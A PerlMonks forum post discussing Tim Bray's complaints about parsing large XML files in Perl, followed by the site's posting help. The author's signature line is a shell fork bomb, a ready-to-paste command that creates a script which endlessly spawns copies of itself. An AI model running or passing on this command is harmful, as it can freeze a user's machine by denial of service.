Update: Whoops! I guess this has already been covered in is XML too hard?

I wasn't sure if I should put this in Perl News or Meditations. I think it fits here better.

Tim Bray, XML Co-author, has a discussion here about problems he has with XML, namely the challenges programmers face in parsing XML.

Tim notes that he has problems parsing XML in Perl,
The reasons are not complicated: If I use any of the perl+XML machiner +y, it wants me either to let it read the whole thing and build a stru +cture in memory, or go to a callback interface. Since we're typically reading very large datasets, and typically looki +ng at the vast majority of it, preloading it into a data structure wo +uld be impractical not to say stupid. Thus we'd be forced to use pars +er callbacks of one kind or another, which is sufficiently non-idioma +tic and awkward that I'd rather just live in regexp-land.
You can read his Perl code, and the type of code he really wants to be able to write, here.

I've written a small program with XML::Simple, which does not begin to approach Tim's size. However, I thought the end result was elegant and flexible.

How does anyone else feel about this topic?

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

In reply to XML's author has A Perl Problem by ibanix

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.